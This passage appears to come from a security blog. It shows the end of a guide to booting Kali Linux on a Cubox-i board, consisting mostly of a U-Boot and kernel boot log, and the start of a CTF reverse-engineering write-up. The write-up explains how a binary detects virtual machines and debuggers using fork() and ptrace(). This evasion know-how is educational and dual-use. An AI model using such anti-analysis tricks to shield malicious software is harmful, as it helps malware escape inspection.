lrwxrwxrwx 1 root root 40 feb 11 11:56 dtbs -> /usr/lib/linux-image-4.19.0-kali1-armmp/
drwxr-xr-x 2 root root 4,0K feb 11 11:55 extlinux
-rw-r--r-- 1 root root 19M ott 17 19:38 initrd.img-4.18.0-kali2-armmp
-rw-r--r-- 1 root root 20M feb 11 11:52 initrd.img-4.19.0-kali1-armmp
-rw-r--r-- 1 root root 3,0M ott 9 14:47 System.map-4.18.0-kali2-armmp
-rw-r--r-- 1 root root 3,0M gen 3 08:34 System.map-4.19.0-kali1-armmp
-rw-r--r-- 1 root root 4,0M ott 9 14:47 vmlinuz-4.18.0-kali2-armmp
-rw-r--r-- 1 root root 4,1M gen 3 08:34 vmlinuz-4.19.0-kali1-armmp
[email protected]:/boot# ll ./extlinux/
total 12K
drwxr-xr-x 2 root root 4,0K feb 11 11:55 .
drwxr-xr-x 3 root root 4,0K feb 11 11:56 ..
-rw-r--r-- 1 root root 267 feb 11 11:55 extlinux.conf
[email protected]:/boot#
Now edit extlinux.conf accordingly with these settings:
Note that, starting from Kernel 4.9, the partition naming convention changed, first device is mmcblk1 and notmmcblk0. As the downloaded Kali image has only one partition, you need to use /dev/mmcblk1p1 device.
fdisk -l /dev/sdb
Disk /dev/sdb: 14,9 GiB, 15931539456 bytes, 31116288 sectors
Disk model: SD Card Reader
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x38f6e81f
Device Boot Start End Sectors Size Id Type
/dev/sdb1 2048 31115263 31113216 14,9G 83 Linux
That's all. Now U-Boot should be fixed and able to boot your kernel.
U-Boot SPL 2018.05+dfsg-1 (May 10 2018 - 20:24:57 +0000)
Trying to boot from MMC1
U-Boot 2018.05+dfsg-1 (May 10 2018 - 20:24:57 +0000)
CPU: Freescale i.MX6Q rev1.2 996 MHz (running at 792 MHz)
CPU: Extended Commercial temperature grade (-20C to 105C) at 19C
Reset cause: POR
Board: MX6 Cubox-i
DRAM: 2 GiB
MMC: FSL_SDHC: 0
Loading Environment from MMC... *** Warning - bad CRC, using default environment
Failed (-5)
No panel detected: default to HDMI
Display: HDMI (1024x768)
In: serial
Out: serial
Err: serial
Net: FEC
Hit any key to stop autoboot: 0
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found /boot/extlinux/extlinux.conf
Retrieving file: /boot/extlinux/extlinux.conf
267 bytes read in 114 ms (2 KiB/s)
1: Kali
Retrieving file: /boot/extlinux/../../initrd.img
20026342 bytes read in 1220 ms (15.7 MiB/s)
Retrieving file: /boot/extlinux/../../vmlinuz
4203008 bytes read in 479 ms (8.4 MiB/s)
append: root=/dev/mmcblk1p1 rootfstype=ext4 video=mxcfb0:dev=hdmi,[email protected],if=RGB24,bpp=32 console=ttymxc0,115200n8 console=tty1 consoleblank=0 rw rootwait
Retrieving file: /boot/extlinux/../dtbs/imx6q-cubox-i.dtb
36853 bytes read in 2755 ms (12.7 KiB/s)
## Flattened Device Tree blob at 18000000
Booting using the fdt blob at 0x18000000
Using Device Tree in place at 18000000, end 1800bff4
Starting kernel ...
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.19.0-kali1-armmp ([email protected]) (gcc version 8.2.0 (Debian 8.2.0-13)) #1 SMP Debian 4.19.13-1kali1 (2019-01-03)
[ 0.000000] CPU: ARMv7 Processor [412fc09a] revision 10 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing instruction cache
[ 0.000000] OF: fdt: Machine model: SolidRun Cubox-i Dual/Quad
[ 0.000000] Memory policy: Data cache writealloc
[ 0.000000] efi: Getting EFI parameters from FDT:
[ 0.000000] efi: UEFI not found.
[ 0.000000] cma: Reserved 16 MiB at 0x8f000000
[ 0.000000] random: get_random_bytes called from start_kernel+0xa0/0x504 with crng_init=0
[ 0.000000] percpu: Embedded 17 pages/cpu @(ptrval) s39116 r8192 d22324 u69632
[ 0.000000] Built 1 zonelists, mobility grouping on. Total pages: 522560
[ 0.000000] Kernel command line: root=/dev/mmcblk1p1 rootfstype=ext4 video=mxcfb0:dev=hdmi,[email protected],if=RGB24,bpp=32 console=ttymxc0,115200n8 console=tty1 consoleblank=0 rw rootwait
[ 0.000000] Dentry cache hash table entries: 131072 (order: 7, 524288 bytes)
[ 0.000000] Inode-cache hash table entries: 65536 (order: 6, 262144 bytes)
[ 0.000000] Memory: 2025800K/2097152K available (8192K kernel code, 1107K rwdata, 2552K rodata, 2048K init, 306K bss, 54968K reserved, 16384K cma-reserved, 1294336K highmem)
[ 0.000000] Virtual kernel memory layout:
[ 0.000000] vector : 0xffff0000 - 0xffff1000 ( 4 kB)
[ 0.000000] fixmap : 0xffc00000 - 0xfff00000 (3072 kB)
[ 0.000000] vmalloc : 0xf0800000 - 0xff800000 ( 240 MB)
[ 0.000000] lowmem : 0xc0000000 - 0xf0000000 ( 768 MB)
[ 0.000000] pkmap : 0xbfe00000 - 0xc0000000 ( 2 MB)
[ 0.000000] modules : 0xbf000000 - 0xbfe00000 ( 14 MB)
[ 0.000000] .text : 0x(ptrval) - 0x(ptrval) (9184 kB)
[ 0.000000] .init : 0x(ptrval) - 0x(ptrval) (2048 kB)
[ 0.000000] .data : 0x(ptrval) - 0x(ptrval) (1108 kB)
[ 0.000000] .bss : 0x(ptrval) - 0x(ptrval) ( 307 kB)
[ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=4, Nodes=1
[ 0.000000] ftrace: allocating 32449 entries in 96 pages
[ 0.000000] rcu: Hierarchical RCU implementation.
[ 0.000000] rcu: RCU restricting CPUs from NR_CPUS=8 to nr_cpu_ids=4.
[ 0.000000] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=4
[ 0.000000] NR_IRQS: 16, nr_irqs: 16, preallocated irqs: 16
[ 0.000000] L2C-310 errata 752271 769419 enabled
[ 0.000000] L2C-310 enabling early BRESP for Cortex-A9
[ 0.000000] L2C-310 full line of zeros enabled for Cortex-A9
[ 0.000000] L2C-310 ID prefetch enabled, offset 16 lines
[ 0.000000] L2C-310 dynamic clock gating enabled, standby mode enabled
[ 0.000000] L2C-310 cache controller enabled, 16 ways, 1024 kB
[ 0.000000] L2C-310: CACHE_ID 0x410000c7, AUX_CTRL 0x76470001
[ 0.000000] Switching to timer-based delay loop, resolution 333ns
[ 0.000007] sched_clock: 32 bits at 3000kHz, resolution 333ns, wraps every 715827882841ns
[ 0.000029] clocksource: mxc_timer1: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 637086815595 ns
[ 0.002450] Console: colour dummy device 80x30
[ 0.002911] console [tty1] enabled
[ 0.002962] Calibrating delay loop (skipped), value calculated using timer frequency.. 6.00 BogoMIPS (lpj=12000)
[ 0.002997] pid_max: default: 32768 minimum: 301
[ 0.003303] Security Framework initialized
[ 0.003354] Yama: disabled by default; enable with sysctl kernel.yama.*
[ 0.003456] AppArmor: AppArmor initialized
[ 0.003587] Mount-cache hash table entries: 2048 (order: 1, 8192 bytes)
[ 0.003621] Mountpoint-cache hash table entries: 2048 (order: 1, 8192 bytes)
[ 0.004664] CPU: Testing write buffer coherency: ok
[ 0.004713] CPU0: Spectre v2: using BPIALL workaround
[ 0.005153] CPU0: thread -1, cpu 0, socket 0, mpidr 80000000
[ 0.005959] Setting up static identity map for 0x10300000 - 0x103000a0
[ 0.007468] rcu: Hierarchical SRCU implementation.
[ 0.011385] EFI services will not be available.
[ 0.011904] smp: Bringing up secondary CPUs ...
[ 0.012834] CPU1: thread -1, cpu 1, socket 0, mpidr 80000001
[ 0.012842] CPU1: Spectre v2: using BPIALL workaround
[ 0.013856] CPU2: thread -1, cpu 2, socket 0, mpidr 80000002
[ 0.013863] CPU2: Spectre v2: using BPIALL workaround
[ 0.014869] CPU3: thread -1, cpu 3, socket 0, mpidr 80000003
[ 0.014878] CPU3: Spectre v2: using BPIALL workaround
[ 0.015031] smp: Brought up 1 node, 4 CPUs
[ 0.015056] SMP: Total of 4 processors activated (24.00 BogoMIPS).
[ 0.015074] CPU: All CPU(s) started in SVC mode.
[ 0.016528] devtmpfs: initialized
[ 0.025641] VFP support v0.3: implementor 41 architecture 3 part 30 variant 9 rev 4
[ 0.025992] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[ 0.026032] futex hash table entries: 1024 (order: 4, 65536 bytes)
[ 0.027375] pinctrl core: initialized pinctrl subsystem
[ 0.028868] DMI not present or invalid.
[ 0.029317] NET: Registered protocol family 16
[ 0.033089] DMA: preallocated 256 KiB pool for atomic coherent allocations
[ 0.033965] audit: initializing netlink subsys (disabled)
[ 0.034242] audit: type=2000 audit(0.032:1): state=initialized audit_enabled=0 res=1
[ 0.035939] CPU identified as i.MX6Q, silicon rev 1.2
[ 0.056010] No ATAGs?
[ 0.056179] hw-breakpoint: found 5 (+1 reserved) breakpoint and 1 watchpoint registers.
[ 0.056220] hw-breakpoint: maximum watchpoint size is 4 bytes.
[ 0.057982] imx6q-pinctrl 20e0000.iomuxc: initialized IMX pinctrl driver
[ 0.058770] Serial: AMBA PL011 UART driver
[ 0.081508] mxs-dma 110000.dma-apbh: initialized
[ 0.083880] v_usb2: supplied by v_5v0
[ 0.084147] vcc_3v3: supplied by v_5v0
[ 0.084412] v_usb1: supplied by v_5v0
[ 0.087824] vgaarb: loaded
[ 0.089174] media: Linux media interface: v0.10
[ 0.089232] videodev: Linux video capture interface: v2.00
[ 0.089300] pps_core: LinuxPPS API ver. 1 registered
[ 0.089322] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <[email protected]>
[ 0.089361] PTP clock support registered
[ 0.091199] clocksource: Switched to clocksource mxc_timer1
[ 0.170784] VFS: Disk quotas dquot_6.6.0
[ 0.170921] VFS: Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
[ 0.171676] AppArmor: AppArmor Filesystem Enabled
[ 0.184673] NET: Registered protocol family 2
[ 0.185646] tcp_listen_portaddr_hash hash table entries: 512 (order: 0, 6144 bytes)
[ 0.185706] TCP established hash table entries: 8192 (order: 3, 32768 bytes)
[ 0.185812] TCP bind hash table entries: 8192 (order: 4, 65536 bytes)
[ 0.185981] TCP: Hash tables configured (established 8192 bind 8192)
[ 0.186238] UDP hash table entries: 512 (order: 2, 16384 bytes)
[ 0.186300] UDP-Lite hash table entries: 512 (order: 2, 16384 bytes)
[ 0.186589] NET: Registered protocol family 1
[ 0.187128] Unpacking initramfs...
[ 1.822024] Freeing initrd memory: 19560K
[ 1.822709] hw perfevents: no interrupt-affinity property for /pmu, guessing.
[ 1.823063] hw perfevents: enabled with armv7_cortex_a9 PMU driver, 7 counters available
[ 1.826095] Initialise system trusted keyrings
[ 1.826400] workingset: timestamp_bits=14 max_order=19 bucket_order=5
[ 1.833640] zbud: loaded
[ 6.621158] Key type asymmetric registered
[ 6.621192] Asymmetric key parser 'x509' registered
[ 6.621275] bounce: pool size: 64 pages
[ 6.621357] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 248)
[ 6.621575] io scheduler noop registered
[ 6.621597] io scheduler deadline registered
[ 6.621849] io scheduler cfq registered (default)
[ 6.621871] io scheduler mq-deadline registered
[ 6.636572] imx-sdma 20ec000.sdma: firmware: failed to load imx/sdma/sdma-imx6q.bin (-2)
[ 6.636604] firmware_class: See https://wiki.debian.org/Firmware for information about missing firmware
[ 6.636636] imx-sdma 20ec000.sdma: Direct firmware load for imx/sdma/sdma-imx6q.bin failed with error -2
[ 6.641836] imx-pgc-pd imx-pgc-power-domain.0: DMA mask not set
[ 6.641921] imx-pgc-pd imx-pgc-power-domain.0: Linked as a consumer to 20dc000.gpc
[ 6.641999] imx-pgc-pd imx-pgc-power-domain.1: DMA mask not set
[ 6.644727] Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
[ 6.647473] Serial: AMBA driver
[ 6.648404] 2020000.serial: ttymxc0 at MMIO 0x2020000 (irq = 26, base_baud = 5000000) is a IMX
[ 7.412939] console [ttymxc0] enabled
[ 7.417932] 21f0000.serial: ttymxc3 at MMIO 0x21f0000 (irq = 66, base_baud = 5000000) is a IMX
[ 7.430698] libphy: Fixed MDIO Bus: probed
[ 7.435760] fec 2188000.ethernet: 2188000.ethernet supply phy not found, using dummy regulator
[ 7.444505] fec 2188000.ethernet: Linked as a consumer to regulator.0
[ 7.454609] pps pps0: new PPS source ptp0
[ 7.472545] libphy: fec_enet_mii_bus: probed
[ 7.477455] fec 2188000.ethernet eth0: registered PHC device 0
[ 7.484318] mousedev: PS/2 mouse device common for all mice
[ 7.492641] snvs_rtc 20cc000.snvs:snvs-rtc-lp: rtc core: registered 20cc000.snvs:snvs-rtc-lp as rtc0
[ 7.505875] ledtrig-cpu: registered to indicate activity on CPUs
[ 7.514034] NET: Registered protocol family 10
[ 7.544056] Segment Routing with IPv6
[ 7.547877] mip6: Mobile IPv6
[ 7.550868] NET: Registered protocol family 17
[ 7.555362] mpls_gso: MPLS GSO support
[ 7.559621] ThumbEE CPU extension supported.
[ 7.563941] Registering SWP/SWPB emulation handler
[ 7.569571] registered taskstats version 1
[ 7.573724] Loading compiled-in X.509 certificates
[ 8.001824] Loaded X.509 cert 'secure-boot-test-key-lfaraone: 97c1b25cddf9873ca78a58f3d73bf727d2cf78ff'
[ 8.011399] zswap: loaded using pool lzo/zbud
[ 8.016135] AppArmor: AppArmor sha1 policy hashing enabled
[ 8.043332] input: gpio-keys as /devices/soc0/gpio-keys/input/input0
[ 8.050476] snvs_rtc 20cc000.snvs:snvs-rtc-lp: setting system clock to 1970-01-01 00:00:00 UTC (0)
[ 8.059503] sr_init: No PMIC hook to init smartreflex
[ 8.065540] brcm_reg: disabling
[ 8.068731] v_usb2: disabling
[ 8.071738] v_usb1: disabling
[ 8.091956] Freeing unused kernel memory: 2048K
[ 8.103524] Run /init as init process
[ 8.674401] vdd1p1: supplied by regulator-dummy
[ 8.683877] vdd3p0: supplied by regulator-dummy
[ 8.696602] vdd2p5: supplied by regulator-dummy
[ 8.704227] vddarm: supplied by regulator-dummy
[ 8.717686] sdhci: Secure Digital Host Controller Interface driver
[ 8.718779] i2c i2c-1: IMX I2C adapter registered
[ 8.723983] sdhci: Copyright(c) Pierre Ossman
[ 8.731604] i2c i2c-1: can't use DMA, using PIO instead.
[ 8.742702] sdhci-pltfm: SDHCI platform and OF driver helper
[ 8.742793] usbcore: registered new interface driver usbfs
[ 8.744626] vddpu: supplied by regulator-dummy
[ 8.745481] imx-pgc-pd imx-pgc-power-domain.1: Linked as a consumer to regulator.10
[ 8.745595] imx-pgc-pd imx-pgc-power-domain.1: Linked as a consumer to 20dc000.gpc
[ 8.745890] vddsoc: supplied by regulator-dummy
[ 8.752088] sdhci-esdhc-imx 2190000.usdhc: allocated mmc-pwrseq
[ 8.756034] usbcore: registered new interface driver hub
[ 8.763812] sdhci-esdhc-imx 2190000.usdhc: Linked as a consumer to regulator.2
[ 8.763929] SCSI subsystem initialized
[ 8.766600] usbcore: registered new device driver usb
[ 8.787503] rtc-pcf8523 2-0068: rtc core: registered rtc-pcf8523 as rtc1
[ 8.796044] ahci-imx 2200000.sata: fsl,transmit-level-mV value 1104, using 00000044
[ 8.798351] i2c i2c-2: IMX I2C adapter registered
[ 8.801051] ahci-imx 2200000.sata: fsl,transmit-boost-mdB value 0, using 00000000
[ 8.801481] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[ 8.807283] i2c i2c-2: can't use DMA, using PIO instead.
[ 8.809805] imx_usb 2184000.usb: Linked as a consumer to regulator.5
[ 8.812940] ahci-imx 2200000.sata: fsl,transmit-atten-16ths value 9, using 00002000
[ 8.812952] ahci-imx 2200000.sata: fsl,receive-eq-mdB not specified, using 05000000
[ 8.868067] ci_hdrc ci_hdrc.0: EHCI Host Controller
[ 8.870498] ahci-imx 2200000.sata: SSS flag set, parallel bus scan disabled
[ 8.873075] ci_hdrc ci_hdrc.0: new USB bus registered, assigned bus number 1
[ 8.880090] ahci-imx 2200000.sata: AHCI 0001.0300 32 slots 1 ports 3 Gbps 0x1 impl platform mode
[ 8.896015] ahci-imx 2200000.sata: flags: ncq sntf stag pm led clo only pmp pio slum part ccc apst
[ 8.906799] scsi host0: ahci-imx
[ 8.907234] ci_hdrc ci_hdrc.0: USB 2.0 started, EHCI 1.00
[ 8.911034] ata1: SATA max UDMA/133 mmio [mem 0x02200000-0x02203fff] port 0x100 irq 69
[ 8.915842] usb usb1: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 4.19
[ 8.931867] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[ 8.939144] usb usb1: Product: EHCI Host Controller
[ 8.944065] usb usb1: Manufacturer: Linux 4.19.0-kali1-armmp ehci_hcd
[ 8.950543] usb usb1: SerialNumber: ci_hdrc.0
[ 8.955839] hub 1-0:1.0: USB hub found
[ 8.959699] hub 1-0:1.0: 1 port detected
[ 8.964941] imx_usb 2184200.usb: Linked as a consumer to regulator.4
[ 8.975338] ci_hdrc ci_hdrc.1: EHCI Host Controller
[ 8.980298] ci_hdrc ci_hdrc.1: new USB bus registered, assigned bus number 2
[ 9.003239] ci_hdrc ci_hdrc.1: USB 2.0 started, EHCI 1.00
[ 9.008943] usb usb2: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 4.19
[ 9.017268] usb usb2: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[ 9.024541] usb usb2: Product: EHCI Host Controller
[ 9.029458] usb usb2: Manufacturer: Linux 4.19.0-kali1-armmp ehci_hcd
[ 9.035939] usb usb2: SerialNumber: ci_hdrc.1
[ 9.041101] hub 2-0:1.0: USB hub found
[ 9.044948] hub 2-0:1.0: 1 port detected
[ 9.107896] mmc0: SDHCI controller on 2190000.usdhc [2190000.usdhc] using ADMA
[ 9.117185] sdhci-esdhc-imx 2194000.usdhc: Got CD GPIO
[ 9.122559] sdhci-esdhc-imx 2194000.usdhc: Linked as a consumer to regulator.1
[ 9.157220] mmc0: queuing unknown CIS tuple 0x80 (50 bytes)
[ 9.163693] mmc1: SDHCI controller on 2194000.usdhc [2194000.usdhc] using ADMA
[ 9.183174] mmc0: queuing unknown CIS tuple 0x80 (7 bytes)
[ 9.191609] mmc0: queuing unknown CIS tuple 0x80 (4 bytes)
[ 9.211322] random: fast init done
[ 9.224126] mmc1: host does not support reading read-only switch, assuming write-enable
[ 9.240939] mmc1: new high speed SDHC card at address aaaa
[ 9.245854] ata1: SATA link down (SStatus 0 SControl 300)
[ 9.249128] mmc0: queuing unknown CIS tuple 0x02 (1 bytes)
[ 9.251988] ahci-imx 2200000.sata: no device found, disabling link.
[ 9.258217] mmcblk1: mmc1:aaaa SC16G 14.8 GiB
[ 9.263773] ahci-imx 2200000.sata: pass .hotplug=1 to enable hotplug
[ 9.285255] mmc0: new SDIO card at address 0001
[ 9.294093] mmcblk1: p1
[ 9.590133] EXT4-fs (mmcblk1p1): mounted filesystem with ordered data mode. Opts: (null)
[ 10.331270] systemd[1]: System time before build time, advancing clock.
[ 10.410380] systemd[1]: Inserted module 'autofs4'
[ 10.477486] systemd[1]: systemd 240 running in system mode. (+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD -IDN2 +IDN -PCRE2 default-hierarchy=hybrid)
[ 10.499686] systemd[1]: Detected architecture arm.
[ 10.532504] systemd[1]: Set hostname to <kali>.
[ 11.143992] random: systemd: uninitialized urandom read (16 bytes read)
[ 11.169989] random: systemd: uninitialized urandom read (16 bytes read)
[ 11.177217] systemd[1]: Started Dispatch Password Requests to Console Directory Watch.
[ 11.185774] random: systemd: uninitialized urandom read (16 bytes read)
[ 11.192813] systemd[1]: Listening on initctl Compatibility Named Pipe.
[ 11.205244] systemd[1]: Created slice system-getty.slice.
[ 11.212034] systemd[1]: Listening on Journal Audit Socket.
[ 11.219580] systemd[1]: Created slice User and Session Slice.
[ 11.225807] systemd[1]: Reached target Slices.
[ 11.231852] systemd[1]: Set up automount Arbitrary Executable File Formats File System Automount Point.
[ 11.644705] systemd-journald[174]: Received request to flush runtime journal from PID 1
[ 11.715275] systemd-journald[174]: File /var/log/journal/1669a518f9704310aef53c26dee3d53f/system.journal corrupted or uncleanly shut down, renaming and replacing.
[ 13.195395] cpu cpu0: Linked as a consumer to regulator.9
[ 13.202118] cpu cpu0: Linked as a consumer to regulator.10
[ 13.212353] leds_pwm pwmleds: unable to request PWM for imx6:red:front: -517
[ 13.229703] Registered IR keymap rc-empty
[ 13.230963] cpu cpu0: Linked as a consumer to regulator.11
[ 13.239476] rc rc0: gpio_ir_recv as /devices/soc0/ir-receiver/rc/rc0
[ 13.247800] input: gpio_ir_recv as /devices/soc0/ir-receiver/rc/rc0/input1
[ 13.291628] rc rc0: lirc_dev: driver gpio_ir_recv registered at minor = 0, raw IR receiver, no transmitter
[ 13.292420] leds_pwm pwmleds: unable to request PWM for imx6:red:front: -517
[ 13.368979] leds_pwm pwmleds: unable to request PWM for imx6:red:front: -517
[ 13.447837] imx2-wdt 20bc000.wdog: timeout 60 sec (nowayout=0)
[ 13.466369] etnaviv etnaviv: bound 130000.gpu (ops gpu_ops [etnaviv])
[ 13.495507] imx-ipuv3 2400000.ipu: IPUv3H probed
[ 13.505100] etnaviv etnaviv: bound 134000.gpu (ops gpu_ops [etnaviv])
[ 13.515092] imx-ipuv3 2800000.ipu: IPUv3H probed
[ 13.528373] etnaviv etnaviv: bound 2204000.gpu (ops gpu_ops [etnaviv])
[ 13.535094] etnaviv-gpu 130000.gpu: model: GC2000, revision: 5108
[ 13.591018] etnaviv-gpu 134000.gpu: model: GC320, revision: 5007
[ 13.690303] etnaviv-gpu 2204000.gpu: model: GC355, revision: 1215
[ 13.696497] etnaviv-gpu 2204000.gpu: Ignoring GPU with VG and FE2.0
[ 13.723715] [drm] Initialized etnaviv 1.2.0 20151214 for etnaviv on minor 0
[ 13.732615] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
[ 13.739343] [drm] No driver support for vblank timestamp query.
[ 13.750344] imx-drm display-subsystem: bound imx-ipuv3-crtc.2 (ops ipu_crtc_ops [imxdrm])
[ 13.758969] imx-drm display-subsystem: bound imx-ipuv3-crtc.3 (ops ipu_crtc_ops [imxdrm])
[ 13.794123] imx-drm display-subsystem: bound imx-ipuv3-crtc.6 (ops ipu_crtc_ops [imxdrm])
[ 13.824654] imx-drm display-subsystem: bound imx-ipuv3-crtc.7 (ops ipu_crtc_ops [imxdrm])
[ 13.887633] imx-spdif sound-spdif: snd-soc-dummy-dai <-> 2004000.spdif mapping ok
[ 13.895250] imx-spdif sound-spdif: ASoC: no DMI vendor name!
[ 13.910615] dwhdmi-imx 120000.hdmi: Detected HDMI TX controller v1.30a with HDCP (DWC HDMI 3D TX PHY)
[ 13.960699] imx-drm display-subsystem: bound 120000.hdmi (ops dw_hdmi_imx_platform_driver_exit [dw_hdmi_imx])
[ 13.982623] [drm] Cannot find any crtc or sizes
[ 14.009662] [drm] Initialized imx-drm 1.0.0 20120507 for display-subsystem on minor 1
[ 14.236656] brcmfmac: brcmf_fw_alloc_request: using brcm/brcmfmac4329-sdio for chip BCM4329/3
[ 14.258745] usbcore: registered new interface driver brcmfmac
[ 14.323949] brcmfmac mmc0:0001:1: firmware: direct-loading firmware brcm/brcmfmac4329-sdio.bin
[ 14.346226] brcmfmac mmc0:0001:1: firmware: direct-loading firmware brcm/brcmfmac4329-sdio.txt
[ 14.465318] brcmfmac: brcmf_fw_alloc_request: using brcm/brcmfmac4329-sdio for chip BCM4329/3
[ 14.475922] brcmfmac mmc0:0001:1: firmware: failed to load brcm/brcmfmac4329-sdio.clm_blob (-2)
[ 14.484716] brcmfmac mmc0:0001:1: Direct firmware load for brcm/brcmfmac4329-sdio.clm_blob failed with error -2
[ 14.494898] brcmfmac: brcmf_c_process_clm_blob: no clm_blob available (err=-2), device may have limited channels available
[ 14.551518] brcmfmac: brcmf_c_preinit_dcmds: Firmware: BCM4329/3 wl0: Sep 2 2011 14:48:19 version 4.220.48
[ 14.594871] brcmfmac: brcmf_setup_wiphybands: rxchain error (-52)
[ 14.706815] Bluetooth: Core ver 2.22
[ 14.710651] NET: Registered protocol family 31
[ 14.715230] Bluetooth: HCI device and connection manager initialized
[ 14.722069] Bluetooth: HCI socket layer initialized
[ 14.727404] Bluetooth: L2CAP socket layer initialized
[ 14.733014] Bluetooth: SCO socket layer initialized
[ 14.760303] Bluetooth: Generic Bluetooth SDIO driver ver 0.1
[ 15.011475] [drm] Cannot find any crtc or sizes
[ 15.050996] random: crng init done
[ 15.054429] random: 7 urandom warning(s) missed due to ratelimiting
[ 16.793010] IPv6: ADDRCONF(NETDEV_UP): wlan0: link is not ready
[ 16.887242] rc rc0: two consecutive events of type space
[ 16.934160] IPv6: ADDRCONF(NETDEV_UP): wlan0: link is not ready
[ 16.942551] brcmfmac: _brcmf_set_multicast_list: Setting BRCMF_C_SET_PROMISC failed, -52
[ 16.956655] brcmfmac: _brcmf_set_multicast_list: Setting BRCMF_C_SET_PROMISC failed, -52
[ 17.551975] Atheros 8035 ethernet 2188000.ethernet-1:00: attached PHY driver [Atheros 8035 ethernet] (mii_bus:phy_addr=2188000.ethernet-1:00, irq=POLL)
[ 17.570856] IPv6: ADDRCONF(NETDEV_UP): wlan0: link is not ready
[ 17.579170] brcmfmac: _brcmf_set_multicast_list: Setting BRCMF_C_SET_PROMISC failed, -52
[ 17.835444] IPv6: ADDRCONF(NETDEV_UP): wlan0: link is not ready
Kali GNU/Linux Rolling kali ttymxc0
kali login:
Thanks to Steev for the late night support and, obviously, Offensive Security.
...or, in other words, when failing to reverse a CTF binary makes you lose that job.
During a past job interview, I was tasked to reverse four linux binaries of increasing difficulties as proof of my ability into the reverse engineering field. I solved the first two in a matter of an hour, the third one required me an entire day of work but sadly, I was not able to solve the last one. I don't know if I wasn't selected because of this fail, but it proved me one sure thing: I wasn't prepared enough or, at least, as much as I wanted. Flash forward, I successfully ended up with another job, but that challenge kept staying there, like a small needle, in my head. During the following months, I studied and practiced a lot, mainly into firmware reversing field and, every now and then, I've tried to solve that sneaky challenge.
This is my extensive and detailed description of my fails and success.
Important note
Please note that as this analysis started some months ago and this post was reviewed a huge number of times, you won't find same memory addresses or function names across the screenshots and code snippets.
Running the binary
With what are we dealing?
[email protected]:/opt/ctf# file original
original: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d0d5b9a34a4fe4c52a3939c75bd71cfa0dc23825, stripped
[email protected]:/opt/ctf# checksec -f ./original
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 ./original
A standard, stripped, Linux 32bit binary with no fancy protection active. We're not aiming to exploit it but only to find the flag. A picture is worth a thousand words, they say:
[email protected]:/opt/ctf# ./original
[-] No vm please ;)
[email protected]:/opt/ctf# ./original AAAA
[-] No vm please ;)
[email protected]:/opt/ctf# ./original -h
[-] No vm please ;)
[email protected]:/opt/ctf# ./original AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[-] No vm please ;)
[email protected]:/opt/ctf#
It doesn't run inside a virtual machine and I definitely don't want to build a physical linux box. Would you tell me some of your internals, please?
Great, after a few couples of runs, we know that there are some anti-VM and anti-debug code in place. Let's look inside.
First thing, I searched and found the strings pretty quickly, and I noticed also two other interesting strings: one for a fail, one for a success.
Digging a little more, we can find where are placed the strings and from where they're used for.
It's clear that the subroutine placed at address 0x566429DC has something to do with them and with the anti-VM/anti-debug tricks.
Analyzing the anti-debug and anti-vm routine
Once I have identified where are the strings involved in this anti-debug and anti-vm tricks, it's easy to find them and visualize the blocks in IDA. Please note that sub_566429DC was here renamed in AntiDebugAntiVM.
This is the graph of the AntiDebugAntiVM functions. In the first block of code, we can see the standard function call convention that setup the stack frame. After that, a bunch of Β NOPS and a call to fork(). Let's understand the fork call, what's its purpose?
fork() creates a new process by duplicating the calling process. The new process, referred to as the child, is an exact duplicate of the calling process, referred to as the parent. On success, the PID of the child process is returned in the parent, and 0 is returned in the child. On failure, -1 is returned in the parent, no child process is created, and errno is set appropriately. (ref)
Basically, right after the fork call, its return value is saved into the EAX register and then moved into a local variable that is compared with the zero value. The first branch is important: if the JNZ is true, we're into the parent process so we're going into the right path. Vice versa, if the instruction is false we're heading to the left or into the child process.
Into the child process
If EAX is zero, or in other terms, we're into the child process, we can see a call to getppid()function that returns the process ID of the parent of the calling process. Β But the important call is the next one, the call to the ptrace() function. The standard definition of this function is:
The ptrace() system call provides a means by which one process (the"tracer") may observe and control the execution of another process(the "tracee"), and examine and change the tracee's memory and registers. It is primarily used to implement breakpoint debugging and system call tracing.
And is defined as:
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
In assembly, the call is built with these lines of code:
Basically, the child retrieve its PPID and tries to attach a debugger [1], if it fails, it's the evidence that it is being debugged so sleep 5 seconds, detach and returns [2] . Otherwise returns anyway [3]. Going up a level, if the fork() return -1 so returns with the status code 1[5]
Into the parent process
